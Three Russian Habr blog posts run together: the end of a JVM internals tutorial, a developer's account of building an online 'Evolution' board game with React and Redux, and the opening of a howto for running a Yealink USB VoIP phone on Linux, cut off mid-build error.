Первый загрузчик классов — это **Bootstrap classloader**. Он написан на C++. Это базовый загрузчик, который загружает все системные классы из архива *rt.jar*. При этом, есть небольшое отличие между загрузкой классов из *rt.jar* и наших классов: когда JVM загружает классы из *rt.jar*, она не выполняет все этапы проверки, которые выполняются при загрузке любого другого класс-файла т.к. JVM изначально известно, что все эти классы уже проверены. Поэтому, включать в этот архив какие-либо свои файлы не стоит.
Следующий загрузчик — это **Extension classloader.** Он загружает классы расширений из папки *jre/lib/ext*. Допустим, вы хотите, чтобы какой-то класс загружался каждый раз при старте Java машины. Для этого вы можете скопировать исходный файл класса в эту папку, и он будет автоматически загружаться.
Еще один загрузчик — **System classloader**. Он загружает классы из classpath’а, который мы указали при запуске приложения.
Процесс загрузки классов происходит по иерархии:
* В первую очередь мы запрашиваем поиск в кэше System Class Loader (кэш системного загрузчика содержит классы, которые уже были им загружены);
* Если класс не был найден в кэше системного загрузчика, мы смотрим кэш Extension class loader;
* Если класс не найден в кэше загрузчика расширений, класс запрашивается у загрузчика Bootstrap.
Если класс не найден в кэше Bootstrap, он пытается загрузить этот класс. Если Bootstrap не смог загрузить класс, он делегирует загрузку класса загрузчику расширений. Если на этот момент класс будет загружен, он остается в кэше у Extension classloader, а загрузка класса является завершенной.
### 4. Структура Сlass-файлов и процесс загрузки
Перейдем непосредственно к структуре Class-файлов.
Один класс, написанный на Java, компилируется в один файл с расширением .class. Если в нашем Java файле лежит несколько классов, один файл Java может быть скомпилирован в несколько файлов с расширением .class — файлов байт-кода данных классов.
Все числа, строки, указатели на классы, поля и методы хранятся в *Сonstant pool* — области памяти *Meta space*. Описание класса хранится там же и содержит имя, модификаторы, супер-класс, супер-интерфейсы, поля, методы и атрибуты. Атрибуты, в свою очередь, могут содержать любую дополнительную информацию.
Таким образом, при загрузке классов:
* происходит чтение класс-файла, т.е проверка корректности формата
* создается представление класса в Constant pool (Meta space)
* грузятся супер-классы и супер-интерфейсы; если они не будут загружены, то и сам класс не будет загружен
### 5. Исполнение байт-кода на JVM
В первую очередь, для исполнения байт-кода, JVM может его *интерпретировать*. Интерпретация — довольно медленный процесс. В процессе интерпретации, интерпретатор “бежит” построчно по класс-файлу и переводит его в команды, которые понятны JVM.
Также JVM может его *транслировать*, т.е. скомпилировать в машинный код, который будет исполняться непосредственно на CPU.
Команды, которые исполняются часто, не будут интерпретироваться, а сразу будут транслироваться.
### 6. Компиляция
**Компилятор** — это программа, которая преобразует исходные части программ, написанные на языке программирования высокого уровня, в программу на машинном языке, “понятную” компьютеру.
Компиляторы делятся на:
* *Не оптимизирующие*
* *Простые оптимизирующие* (Hotspot Client): работают быстро, но порождают неоптимальный код
* *Сложные оптимизирующие* (Hotspot Server): производят сложные оптимизирующие преобразования прежде чем сформировать байт-код
Также компиляторы могут классифицироваться по моменту компиляции:
* *Динамические компиляторы*
Работают одновременно с программой, что сказывается на производительности. Важно, чтобы эти компиляторы работали на коде, который часто исполняется. Во время исполнения программы JVM знает, какой код выполняется чаще всего, и, чтобы постоянно не интерпретировать его, виртуальная машина сразу переводит его в команды, которые уже будут исполняться непосредственно на процессорe.
* *Статические компиляторы*
Дольше компилируют, но порождают оптимальный код для исполнения. Из плюсов: не требуют ресурсов во время исполнения программы, каждый метод компилируется с применением оптимизаций.
### 7. Организация памяти в Java
**Стек** — это область памяти в Java, которая работает по схеме LIFO — “*Last in — Fisrt Out*” или “*Последним вошел, первым вышел*”.
Он нужен для того, чтобы хранить методы. Переменные в стеке существуют до тех пор, пока выполняется метод в котором они были созданы.
Когда вызывается любой метод в Java, создается фрейм или область памяти в стеке, и метод кладется на его вершину. Когда метод завершает выполнение, он удаляется из памяти, тем самым освобождая память для следующих методов. Если память стека будет заполнена, Java бросит исключение *java.lang.StackOverFlowError*. К примеру, это может произойти, если у нас будет рекурсивная функция, которая будет вызывать сама себя и памяти в стеке не будет хватать.
Ключевые особенности стека:
* Стек заполняется и освобождается по мере вызова и завершения новых методов
* Доступ к этой области памяти осуществляется быстрее, чем к куче
* Размер стека определяется операционной системой
* Является потокобезопасным, поскольку для каждого потока создается свой отдельный стек
Ещё одна область памяти в Java — **Heap** или **куча**. Она используется для хранения объектов и классов. Новые объекты всегда создаются в куче, а ссылки на них хранятся в стеке. Все объекты в куче имеют глобальный доступ, то есть к ним можно получить доступ из любой точки приложения.
Куча разбита на несколько более мелких частей, называемых поколениями:
* *Young generation* — область, где размещаются недавно созданные объекты
* *Old (tenured) generation* — область, где хранятся “долгоживущие” объекты
* До Java 8 существовала ещё одна область — *Permanent generation* — которая содержит метаинформацию о классах, методах, статических переменных. После появления Java 8 было решено хранить эту информацию отдельно, вне кучи, а именно в Meta space
Почему отказались от Permanent generation? В первую очередь, это из-за ошибки, которая была связана с переполнением области: так как Perm имел константный размер и не мог расширяться динамически, рано или поздно память заканчивалась, кидалась ошибка, и приложение падало.
Meta space же имеет динамический размер, и во время исполнения он может расширяться до размеров памяти JVM.
Ключевые особенности кучи:
* Когда эта область памяти заполняется полностью, Java бросает *java.lang.OutOfMemoryError*
* Доступ к куче медленнее, чем к стеку
* Для сбора неиспользуемых объектов работает сборщик мусора
* Куча, в отличие от стека, не является потокобезопасной, так как любой поток может получить к ней доступ
Основываясь на информации выше, рассмотрим, как происходит управление памятью на простом примере:
```
public class App {
public static void main(String[] args) {
int id = 23;
String pName = "Jon";
Person p = null;
p = new Person(id, pName);
}
}
class Person {
int pid;
String name;
// constructors, getters/setters
}
```
У нас есть класс App, в котором единственный метод *main* состоит из:
— примитивной переменой **id** типа **int** со значением **23**
— ссылочной переменной **pName** типа **String** со значением **Jon**
— ссылочной переменной **p** типа **person**
Как уже упоминалось, при вызове метода на вершине стека создаётся область памяти, в которой хранятся данные, необходимые этому методу для выполнения.
В нашем случае, это ссылка на класс *person*: сам объект хранится в куче, а в стеке хранится ссылка. Также в стек кладется ссылка на строку, а сама строка хранится в куче в String pool. Примитив хранится непосредственно в стеке.
Для вызова конструктора с параметрами *Person (String)* из метода *main()* в стеке, поверх предыдущего вызова *main()* создается в стеке отдельный фрейм, который хранит:
— **this** — ссылка на текущий объект
— примитивное значение **id**
— ссылочную переменную **personName**, которая указывает на строку в String Pool.
После того, как мы вызвали конструктор, вызывается *setPersonName()*, после чего снова создается новый фрейм в стеке, где хранятся те же данные: ссылка на объект, ссылка на строку, значение переменной.
Таким образом, когда выполнится метод *setter*, фрейм пропадет, стек очистится. Далее выполняется конструктор, очищается фрейм, который был создан под конструктор, после чего метод *main()* завершает свою работу и тоже удаляется из стека.
Если будут вызваны другие методы, для них будут также созданы новые фреймы с контекстом этих конкретных методов.
### 8. Garbage collector
В куче работает [Garbage collector](https://docs.oracle.com/javase/8/docs/technotes/guides/vm/gctuning/collectors.html) — программа, работающая на виртуальной машине Java, которая избавляется от объектов, к которым невозможно получить доступ.
Разные JVM могут иметь различные алгоритмы сборки мусора, также существуют разные сборщики мусора.
Мы поговорим о самом простом сборщике **Serial GC**. Сборку мусора мы запрашиваем при помощи *System.gc()*.
Как уже было упомянуто выше, куча разбита на 2 области: New generation и Old generation.
New generation (младшее поколение) включает в себя 3 региона: *Eden*, *Survivor 0* и *Survivor 1*.
Old generation включает в себя регион *Tenured*.
Что происходит, когда мы создаем в Java объект?
В первую очередь объект попадает в *Eden*. Если мы создали уже много объектов и в *Eden* уже нет места, срабатывает сборщик мусора и освобождает память. Это, так называемая, *малая сборка мусора* — на первом проходе он очищает область *Eden* и кладёт “выжившие” объекты в регион *Survivor 0*. Таким образом регион *Eden* полностью высвобождается.
Если произошло так, что область *Eden* снова была заполнена, garbage collector начинает работу с областью *Eden* и областью *Survivor 0*, которая занята на данный момент. После очищения выжившие объекты попадут в другой регион — *Survivor 1*, а два остальных останутся чистыми. При последующей сборке мусора в качестве региона назначения опять будет выбран *Survivor 0*. Именно поэтому важно, чтобы один из регионов *Survivor* всегда был пустым.
JVM следит за объектами, которые постоянно копируются и перемещаются из одного региона в другой. И для того, чтобы оптимизировать данный механизм, после определённого порога сборщик мусора перемещает такие объекты в регион *Tenured*.
Когда в *Tenured* места для новых объектов не хватает, происходит полная сборка мусора — **Mark-Sweep-Compact**.
Во время этого механизма определяется, какие объекты больше не используются, регион очищается от этих объектов, и область памяти *Tenured* дефрагментируется, т.е. последовательно заполняется нужными объектами.
#### Заключение
В данной статье мы разобрали базовые инструменты языка Java: JVM, JRE, JDK, принцип и этапы выполнения кода на JVM, компиляцию, организацию памяти, а также принцип работы сборщика мусора. | https://habr.com/ru/post/471772/ | null | ru | null |
# Эволюция на React+Redux
Привет, Хабр, я тут написал онлайн версию замечательной настольной игры "Эволюция: Происхождение видов" и хотел бы поделиться своими заметками насчет архитектуры и технических моментов. Сразу уточню — я не пиарюсь, скорее, мне интересно рассказать про ошибки и фичи, а взамен услышать много нового и хорошего о своих решениях и коде.
Сначала немного об игре, прячу под спойлер для тех, кто пришел за техническими подробностями:
**Об игре**Игра состоит из колоды карт и фишек еды. Каждый ход делится на фазы:
Фаза развития: все выкладывают карты по очереди. Карту можно положить двумя способами — рубашкой, как животное, или же как свойство на уже существующее.
Фаза питания: первый игрок кидает кубики и выкладывает фишки еды в кормовую базу. По очереди каждый игрок берет оттуда по одной фишке и кормит ею свое животное.
Фаза вымирания: те животные, кому не хватило еды, умирают, затем игроки получают новые карты из колоды и начинают все заново.
Когда колода закончится, все подсчитывают очки за животных и накопленные свойства.
Свойства самые разные, я не буду перечислять все, а приведу пару примеров: "Жировой Запас": животное может взять дополнительную фишку еды и “отложить” её как, собственно, жировой запас, так что в голодный ход оно выживет. Есть ещё парные свойства, связывающие два вида, например, "Сотрудничество": Когда одно животное получает еду, второе получает фишку еды бесплатно.
И одно, особенное свойство "Хищник +1": животному для выживания требуется на единицу больше еды, но зато оно может атаковать и кушать других.
Собственно, в этом и заключается игра — не просто брать фишки еды, а ещё и защищаться от хищников.
Если хотите ещё примеров — то есть “Большое +1” (Большому животному нужна дополнительная еда, но зато скушать его может только хищник с таким же свойством) или же "Камуфляж" — животное можно атаковать, только если у хищника есть свойство "Острое Зрение".
Некоторые, например "Паразит +2", можно выложить только на животное соперника, тогда ему потребуется на 2 фишки еды больше, что усложнит его выживание.
В целом, игра отличается довольно простыми базовыми правилами, однако просчитывать все взаимодействия довольно интересно и иногда сложновато. Отдельно стоит упомянуть дополнения, которых примерно три штуки, они переворачивают всё вверх дном. То есть, если первое ещё нормальное, просто добавляет девять новых свойств (хоть и с хитрой механикой), то второе, "Континенты", делит стол на три части и вся игра происходит на трех непересекающихся континентах. А "Растения" убирают из игры кубики, и кормовой базой становятся, собственно, растения, которыми тоже можно управлять.
Так, вот, теперь о проекте, его я прятать под кат не буду, вы же за этим и пришли:
Как-то раз, я решил изучить *тогда ещё* новомодные React и Redux… Нет, неправильно начинать сразу с них, сначала про то, что позволило мне дописать хоть одну игру в своей жизни и вообще спасло проект:
### Тесты
Дело в том, что писал я вечерами после работы и, естественно, не каждый день, однако даже спустя месяц я мог открыть проект, в котором ничего не помню, и спокойно начать кодить очередную фичу. Не уверен, что у меня получились именно юнит-тесты, потому что в основном я тестирую так:
```
it('User0 creates Room, User1 logins', () => {
const serverStore = mockServerStore(); // На самом деле не mock, а просто серверный стор, с подмененным сетевым middleware
const clientStore0 = mockClientStore().connect(serverStore); // Аналогично не mock
const clientStore1 = mockClientStore().connect(serverStore);
// Диспатчим логин
clientStore0.dispatch(loginUserFormRequest('/test', 'User0', 'User0'));
// Диспатчим создание комнаты
clientStore0.dispatch(roomCreateRequest());
const Room = serverStore.getState().get('rooms').first();
clientStore1.dispatch(loginUserFormRequest('/test', 'User1', 'User1'));
expect(clientStore0.getState().get('room'), 'clientStore0.room').equal(Room.id);
expect(clientStore0.getState().getIn(['rooms', Room.id]), 'clientStore0.rooms').equal(Room);
expect(clientStore1.getState().get('room'), 'clientStore1.room').equal(null);
expect(clientStore1.getState().getIn(['rooms', Room.id]), 'clientStore1.rooms').equal(Room);
});
```
То есть, с одной стороны я старался тестировать максимально изолированный кусок функциональности, с другой — диспатчу действие на клиенте, который сам “отсылает” его на сервер, получает ответ, а я только проверяю создание комнаты.
Кстати, если заметили — тесты у меня синхронные и работают за счет синхронного мока для socket.io. Не нашел ничего подобного на npm, поэтому завелосипедил. Нет, я признаю, на самом деле это очень спорный момент, потому что весь проект также должен быть синхронным, но на каждый помидор я отвечу KISS. Конечно, я пытался переписать всё на асинхронные тесты (с async/await), однако понял, что клиентский dispatch должен будет отдавать promise с сервера, и мне придется корячить сетевой middleware только для тестов, а как-то не хочется всё менять. Однако, в теории, это возможно.
Пример более продвинутого теста:
Когда существо со свойством "Хищник" нападает на существо со свойством "Мимикрия", тот оно, если возможно, перенаправит атаку на другое существо того же игрока:
```
it('$A > $B m> $C', () => { // Это типа существо A нападает на B, а то мимикрирует под C
const [{serverStore, ParseGame}, {clientStore0, User0, ClientGame0}, {clientStore1, User1, ClientGame1}] = mockGame(2);
// mockGame(количество игроков) создает сервер и клиенты игроков и возвращает массив из [{serverStore, ParseGame}, ...и тут пошли игроки]
// ParseGame принимает описание игры в yml формате и возвращает ID'шник игры.
// А внутри оно создает игру и запускает в нее игроков.
const gameId = ParseGame(`
phase: 2 // Фаза кормления (потому что нападать можно только в нее)
food: 10 // Количество фишек еды на столе = 10 штук, просто так
players: // Массив игроков
- continent: $A carn // Существо с id "$A" и свойством Хищник, которое в игре зовется TraitCarnivorous, и резолвится по подстроке.
- continent: $B mimicry, $C // Два существа - одно с ID "$B" и свойством Мимикрия, а другое просто с ID "$C".
`);
const {selectAnimal, selectTrait} = makeGameSelectors(serverStore.getState, gameId); // Я не использую reselect (а зря), поэтому тут такие хелперские селекторы
expect(selectTrait(User1, 0, 0).type).equal('TraitMimicry'); // Надо бы удалить, но тут я проверяю что у второго игрока у первого животного первое свойство и правда мимикрия.
// А активирует навык "Хищник" на существо Б
clientStore0.dispatch(traitActivateRequest('$A', 'TraitCarnivorous', '$B'));
expect(selectAnimal(User0, 0).getFoodAndFat()).equal(2); // А получило еду за успешную охоту
expect(selectAnimal(User1, 0).id).equal('$B'); // Однако В живо
expect(selectAnimal(User1, 1)).undefined; // А вот С мертвое = В успешно перенаправило атаку.
});
```
Таких тестов на мимикрию у меня 7 штук:
А атакует Б с мимикрией, С с камуфляжем (Б не может перенаправить атаку на С, ведь оно невидимое, и А съедает Б)
А атакует Б с мимикрией, просто С (вышеописанный случай)
А (Хищник), Б (Мимикрия), С (Мимикрия): А атакует Б, Б перенаправляет атаку на С, С перенаправляет атаку на Б обратно, но игра не входит в бесконечный цикл, а А съедает Б
А (Хищник), Б (Мимикрия), С, D: А атакует Б, и игра спрашивает у игрока 2, каким именно существом (C или D) он хотел бы пожертвовать? Тот отвечает что C, и А съедает C.
А (Хищник), Б (Мимикрия), С (Мимикрия), D: А атакует Б, игра спрашивает у игрока 2, каким именно существом (C или D) он хотел бы пожертвовать? Тот отвечает, что C, то опять мимикрирует, и игра спрашивает во второй раз, каким именно существом (B или D) на этот раз тот пожертвует. Игрок отвечает, что B, и оно умирает.
А (Хищник), Б (Мимикрия), С, D: А атакует Б, и игра спрашивает у игрока 2, каким именно существом (C или D) он хотел бы пожертвовать? А тот не отвечает, и игра сама принимает решение, кого убить.
[Асинхронный тест](https://github.com/ivan-work/evolution-web/blob/master/shared/actions/trait-specs/trait.mimicry.spec.js#L119), аналогичный предыдущему, но где игрок никак не отвечает за отведенный промежуток времени в 1мс. В качестве "игрок не ответил" я использую `await new Promise(resolve => setTimeout(resolve, 1));`
И последний тест, видимо, связан с каким-то багом: он проверяет, что, после охоты на существо с мимикрией, наступает новый раунд. Не помню, зачем.
К чему это всё? К тому, что я могу не беспокоиться, что где-то у меня мимикрия сработает неправильно. Я могу переписать всю логику охоты или "задавания вопросов", а тесты покажут, что ~~я облажался~~ всё работает.
Поэтому, кстати, не надо проверять детали. Только существенный логический исход, типа существо С умерло, существо А получило еду итд. Одно время я пытался проверять какие-то скрытые параметры (типа, у игрока стоит флаг "походил"), однако, по итогу, я просто стал проверять, что игрок не может походить снова.
Так что в своих, особенно домашних, проектах я рекомендую обкладывать всю логику тестами. Кроме улучшения стабильности, они ещё и помогают возвращаться к проекту.
Отдельно про клиентские тесты — тут у меня не всё так радужно, я часто переписывал клиент и после четвертого раза я бросил их писать.
### Клиент и дизайн.
Да и сейчас игровая часть клиента меня вообще не устраивает, но я не могу придумать ничего лучше. В идеале, должен был получиться “Material UI Hearthstone” с крутым “visual language”, который “synthesizes the classic principles of good design with the innovation and possibility of technology and science” [Material design. Introduction](https://material.io/guidelines/), а получились серые прямоугольнички с Roboto посередине. Нет, ладно, на самом деле меня вообще не колышет дизайн, но есть же ещё сам “стол”, то место, где лежат карты, еда и существа. И вот тут-то полный швах, начиная от того, что мне не вместить всю информацию, и заканчивая тем, что у меня парадоксально много свободного места.
Дело вот в чем — во-первых, я отвратительный дизайнер и из стилей предпочитаю брутализм. Во-вторых, мне лень. И, в-третьих, сама игра подкладывает свинью — у игрока может быть как одно, так и двадцать существ. И на них также может быть от одного до двадцати свойств. А самих игроков — от двух до восьми. Так что я не представляю как сделать что-то вменяемое, что будет масштабироваться от пары объектов до сотни. Возможно, вариант сделать всё “как в Hearthstone” с его принципом “как настольная игра” здесь не самый лучший.
### React
Пусть оно так себе на вид, зато работает, и в этом большая заслуга React'а и его детерминированности.
Не всегда хватает воли для жесткого MVC/MVVM, однако React таки заставляет выносить всю логику вовне и гарантирует, что при состоянии X (которое легко узнать), UI будет вот такой-то. Как я прочитал у кого-то "React — это функция, которая принимает состояние и возвращает UI". Вместе с Redux это избавляет от сайд-эффектов и "наполняет определенностью", я точно знаю, что, где и когда у меня происходит. Это очень круто, плюс, я не испытываю отвращения к jsx, наоборот, не надо запоминать всякие фишки шаблонов типа {%<*{{x | filter % sdfsdf}}*>%}, а так же не надо определять области видимости. Не знаю, как с этим в vue и angular 2, но в первом, ох уж эти скоупы. Да и в целом проще дебажить.
Ну и всякие фичи типа порталов меня прямо поразили. Действительно, я пишу компонент для комнаты, почему бы в нём же не протянуть что-то в header? И не гокодерски запихнуть туда, а только при наличии в нем компонента
```
export class Room extends Component {
...
render() {
const {room, roomId, userId} = this.props;
return (
// <= вот эта штука рисуется в Header'е
{T.translate('App.Room.Room')} «{room.name}»
============================================
```
Мультиязычность мне показалось самым удобным сделать через i18n-react, для дизайна я использую использую react-mdl. Отдельные лучи любви вперемешку с ненавистью высылаю библиотеке react-dnd, она крута.
Однако, у React’а есть и минус — анимации. Что-то сложнее чем CSS Transitions сделать уже не так просто. Да и получается, что состояние одно, а UI должен быть разным.
Я решил эту проблему отвратительнейшим образом, породив чудовищного монстра — AnimationService. Вкратце, он сует свой middleware в клиента, отлавливает все действия и запускает анимацию для первого из них, остальные кладет в очередь и, как только анимация завершена, запускает следующее. Что дает кучу багов, например с тем, что пока карты красиво летят вам в руку, вы не можете выйти из игры.
С другой стороны — я могу анимировать компоненты с Velocity.js как-то так:
```
export const createAnimationServiceConfig = () => ({ // уже по названию можно определить, что дело нечисто
animations: ({subscribe, getRef}) => { // subscribe - подписаться на Action, getRef - получить компонент по строке
// Подписываться так:
subscribe("тип действия", (done (надо вызвать по окончанию анимации), actionData, getState) => {
// Вот тут можно императивно анимировать
...
```
На самом деле, зря я его написал, и единственная анимация, для которой пригодился этот монстр — это раздача карт (зато как в Hearthstone!!11!), так что хватит о нём.
Итак, в общем, с React'ом почти всё хорошо, во многом благодаря тому, что он не лезет не в свое дело, а логикой занимается Redux.
### Redux
Именно он делает всю работу и на клиенте, и на сервере. И даже общаются между собой они через middleware с socket.io. Я сделал некое подобие RPC, выглядит как-то так (приготовьтесь, сейчас будет большой кусок кода из [game.js](https://github.com/ivan-work/evolution-web/blob/master/shared/actions/game.js))
```
// Game Create
// Request на конце обозначает, что действие клиентское
export const gameCreateRequest = (roomId, seed) => ({
type: 'gameCreateRequest' // Да, типы действий у меня строкой, сорри
, data: {roomId, seed} // Это данные
, meta: {server: true} // Middleware на клиенте поймает этот параметр и перешлет действие серверу
});
// Это действие сервер вышлет тем клиентам, которые начинают игру
const gameCreateSuccess = (game) => ({
type: 'gameCreateSuccess'
, data: {game}
});
// А это - всем клиентам
const gameCreateNotify = (roomId, gameId) => ({
type: 'gameCreateNotify'
, data: {roomId, gameId}
});
// Вызывается самим сервером
export const server$gameCreateSuccess = (game) => (dispatch, getState) => {
// Сначала сервер создает игру в своем Store
dispatch(gameCreateSuccess(game));
// Потом высылаем всем Notify, что игра создана
dispatch(Object.assign(gameCreateNotify(game.roomId, game.id)
, {meta: {users: true}}));
// Потом каждому игроку высылаем свою версию игры.
selectPlayers4Sockets(getState, game.id).forEach(userId => {
dispatch(Object.assign(gameCreateSuccess(game.toOthers(userId).toClient())
, {meta: {userId, clientOnly: true}}));
});
// Немного криво сделано, потому что раньше игра высылалась игрокам сразу вместе с картами и, соотвественно, требовалось высылать каждому игроку свою копию игры.
// Теперь все не так и метод можно переписать на что-нибудь типа:
// dispatch(Object.assign(
// gameCreateSuccess(game.toOthers(null).toClient())
// , {meta: {clientOnly: true, users: selectPlayers4Sockets(getState, game.id)}}
// ));
// Но мне лень.¯\(°_o)/¯
};
// ... Ещё 40 действий ...
// И потом ноу хау:
export const gameClientToServer = {
gameCreateRequest: ({roomId, seed = null}, {userId}) => (dispatch, getState) => {
// Тут всякие проверки, создание игры и прочее, и потом
dispatch(server$gameCreateSuccess(game));
}
// ...
}
export const gameServerToClient = {
// А это то, что поймает клиент
gameCreateSuccess: (({game}, currentUserId) => (dispatch) => {
dispatch(gameCreateSuccess(GameModelClient.fromServer(game, currentUserId)));
dispatch(redirectTo('/game'));
})
...
}
```
Объект gameClientToServer состоит из разрешенных серверу на прием действий, так что напрямую действие типа "shutdownServer" послать не получится. А обратный просто переводит какие-то модели или ещё что-нибудь из JSON объектов в, собственно, модели.
Работает это так:
1) Юзер жмет кнопку “Начать игру”.
2) React-redux диспатчит действие gameCreateRequest
3) Клиентское middleware:
```
const nextResult = next(action);
if (action.meta && action.meta.server) {
action.meta.token = store.getState().getIn(['user', 'token']);
socket.emit('action', action);
}
return nextResult;
```
nextResult нужен для тестов (которые у меня, напомню, синхронные), если вызывать next(action) после socket.emit(), то клиентский reducer обработает действие отсылки позже ответа от сервера.
4) Сервер принимает действие:
```
socket.on('action', (action) => {
if (clientToServer[action.type]) { // clientToServer есть объект, собранный из всех xxxClientToServer, будь то roomClientToServer или gameClientToServer
const meta = {connectionId: socket.id} // Иногда серверу в ActionCreator'е нужен id сокета. Например, для логина юзера.
if (!~UNPROTECTED.indexOf(action.type)) { // Если тип действия не в массиве UNPROTECTED, то валидируем токен
// валидация токена
}
const result = store.dispatch(clientToServer[action.type](action.data, meta));
// собственно вот тут и вызывается gameClientToServer.gameCreateRequest со всеми параметрами
```
5) Как я писал выше, вызывается server$gameCreateSuccess, которые диспатчит gameCreateSuccess только серверу, затем gameCreateNotify и gameCreateSuccess каждому из игроков
6) Reducer сервера ловит gameCreateSuccess и создает игру
7) Middleware сервера ловит gameCreateNotify и отправляет его всем клиентам (чтобы они знали, что игра в такой-то комнате началась)
8) Так же оно ловит последующие gameCreateSuccess (с игрой для каждого игрока), отправляет и не пускает к серверному Reducer’у (потому что в meta указано clientOnly: true)
Вот как-то так оно все и работает.
### Окружение
Работает оно на herokuapp на бесплатном аккаунте. Что не очень хорошо, так как они требуют 6 часов даунтайма. Однако, в связи с полумертвой посещаемостью (иногда, ночью, по будням играют 3 чувака из Сибири), меня это не очень беспокоит.
Потому же, меня не беспокоит и то, что логин через ВК у меня не читается из базы, а запрашивается каждый раз заново. Забавно, конечно — как-то раз я подумал, что проект достаточно вырос для использования базы данных, прикрутил бесплатную монго от mlab.com, даже пишу туда ВК токены и… просто запрашиваю новые. Нет, я не спорю что когда-нибудь я все-таки буду при логине запрашивать статистику и Oauth токены, но пока что БД бесполезна чуть более, чем полностью.
Состояние всех игр хранится прямо в redux. Я где-то видел сумрачных гениев, что хранят состояние в базе, но лично я не понимаю, зачем. Возможно, я не прав.
Собирается первым вебпаком, второй тогда ещё не вышел. В разработке клиент идет через webpackMiddleware, а сервер — через nodemon+babel-node. Единственный минус — при изменении на бекенде приходится долго ждать пока пересоберётся фронтенд. Я пытался сделать hot reloading для ноды, но как-то не пошло. Да и зачем, для сервера у меня есть тесты.
Вкратце ещё упомяну “нетрадиционный” логгинг — в файл писать не вариант, ибо heroku всё стирает, а всякие специализированные сервисы либо неудобные, либо платные, поэтому я нашел замечательный модуль для winston — winston-google-spreadsheet. Да, он пишет логи в гуглотабличку. Мне нравится больше чем тот же loggly.
### Выводы:
#### Технические:
React, хоть уже и устарел (:trollface:), но сознание переворачивает, и, я считаю, к ознакомлению обязателен.
То же и про Redux.
Синхронные тесты хороши, но именно настолку или пошаговую игру я бы сделал через асинхронно и с promise’ами. То есть, отправил — дождался ответа. Тогда на сервере не придется страдать от невозможности задать какому-либо действию коллбек.
Любые коллекции надо делать Map’ами или объектами. В самом начале я подумал — хммм, KISS, зачем мне объект с животными, когда я могу хранить их в списке. В результате, game.getAnimalById идет поиск по массиву. Да, ошибка, мне стыдно, когда-нибудь я это перепишу.
#### Гуманитарные:
Во-первых, переводить настолки в онлайн — дело неблагодарное. В том плане, что тонкостей и правил много, вещи, которые решаются между игроками буквально парой слов, превращаются в мегабайты кода, запросов и костылей. А настольщики всегда будут недовольны какой-то мелочью, которую вот никак не сделать. Плюс — это всегда мультиплеер, причем долгий по геймплею, а значит и игроков будет мало.
Во-вторых — я взял неправильную игру. Основная сложность и геймплей эволюции — в вычислении комбинаций и их взаимодействия. Компьютер забирает все просчеты себе и человеку остается лишь выбрать из пары вариантов. Таким образом, геймплей пусть и не уничтожен, но порушен знатно, так как продумывать его следует наперед,. Ну и, спасибо авторам, они радуют дополнениями, которые ставят всё с ног на голову. То есть был у игрока один "континент" с животными, а тут их хоп, три. Круто! Интересно! Половину игры перепиши, ага-да :D
Суммируя — у меня получилось то, что я хотел. Код, я считаю, местами даже красивый, а в целом — не отвратительный (кроме AnimationService, конечно). Вот [тут](https://github.com/ivan-work/evolution-web) можете форкнуть / прислать пулл-реквест / помочь с разработкой / запостить issue / перевести на английский ru-ru.json / помочь с дизайном (это все ещё не тонкие намеки), чуть ниже можете высказать всё, что думаете обо всяких хипстерах, лезущих кодить на богомерзком недоязыке. Чтобы не попасть в Я пиарюсь, кину ссылку на сайт в комменты. | https://habr.com/ru/post/325756/ | null | ru | null |
# Linux USB phone howto
Документ описывает установку и настройку USB телефона для Linux, на базе Yealink P1K. В результате было достигнуто полное управление вызовами с телефона, без участия мышки и клавиатуры.
##### Введение
Всегда хотелось иметь мобильный VoIP телефон. Это такой телефон, который всегда с тобой, прямо как мобильник, но при этом это VoIP телефон, т.е. подключенный к твоему собственному серверу IP АТС (варианты типа Nokia E65 и аналогичные не предлагать, не хочется греть уши мобильной Wi-Fi микроволновкой, поэтому остаются только USB телефоны). Пользователям Windows жить просто, всякие там X-Lite и прочие включают в себя драйвера для всевозможных USB телефонов, а всевозможные USB телефоны поставляются с диском с разными софтфонами. А вот тем, у кого на десктопе Linux, легкие пути заказаны Но тем не менее, в путь!
##### Выбор USB телефона
Гуглинг на тему «linux usb phone» показал, что практически единственным телефоном, который удалось успешно подключить, оказался Yealink P1K USB phone. При этом, половина пытавшихся так и не смогла его подключить. Ну что же, давайте попробуем.
##### Установка
Не буду описывать длинный путь, проделанный в процессе хождения по граблям. Скажу только спасибо Томасу Рейтмайру, автору пакета Yeaphone [www.devbase.at/voip/yeaphone.php](http://www.devbase.at/voip/yeaphone.php), за его отзывчивость и помощь. Итак, чтобы получить мобильный VoIP phone, нужны следующие компоненты: — USB телефон P1K — модуль ядра p1k yealink.ko — программный телефон linphone. — пакет yeaphone.
##### USB phone Yealink P1K и модуль ядра yealink.ko
Начиная с какой-то версии, Linux содержит в разделе Device drivers → Input device support → Miscellaneous devices → Yealink usb-p1k voip phone. Однако, данный модуль устарел! Надо брать модуль с сайта Томаса. Судя по всему, это его домашняя машина, поэтому копия файлов, актуальная на момент написания этой статьи приложена сюда же (Revision: 142). Как сказал Томас:
`You might own a P1KH (USB ID 6993:b700) which uses a slightly different
communication protocol compared to the P1K. The P1K is the only model
supported by the kernel module shipped with the regular Linux kernel.
However if yours is a P1KH (or a B2K, B3G, P4K) then you should try my
version of this module:
svn co --username guest --password readonly svn://devbase.homelinux.org:5070/voip/yealink-module`
Это как раз был мой случай, и вывод lsusb доказал это:
`explorer t2-trunk # lsusb
...
Bus 003 Device 019: ID 6993:b700 Freshtel`
Модуль без проблем собрался на моем относительно свежем 2.6.31-gentoo.Сборка проста:
`max@explorer /tmp/yealink-module/trunk $ make
make -C /usr/src/linux SUBDIRS=`pwd` modules
make[1]: Entering directory `/usr/src/linux-2.6.31-gentoo-r6'
CC [M] /tmp/yealink-module/trunk/yealink.o
Building modules, stage 2.
MODPOST 1 modules
CC /tmp/yealink-module/trunk/yealink.mod.o
LD [M] /tmp/yealink-module/trunk/yealink.ko
make[1]: Leaving directory `/usr/src/linux-2.6.31-gentoo-r6'
max@explorer /tmp/yealink-module/trunk $`
Получившийся файл нужно отправить в нужное место:
`cp yealink.ko /lib/modules/2.6.31-gentoo-r6/kernel/drivers/input/`
##### Софтфон linphone и обертка yeaphone
Другая «ложная дорога» заключается в версии софтфона linphone. Дело в том, что все пакеты, опубликованные на сайтах, предназначены для версий ветки 2.x, а все свежие дистрибутивы устанавливают linphone версии 3.x. Например, у меня установлен net-voip/linphone-3.1.1. Именно с версией связана ошибка сборки yeaphone, что-то типа такого:
`home/adyna/Desktop/yeaphone-0.1.6/src/ylcontrol.c:578: undefined reference to `gstate_get_state'
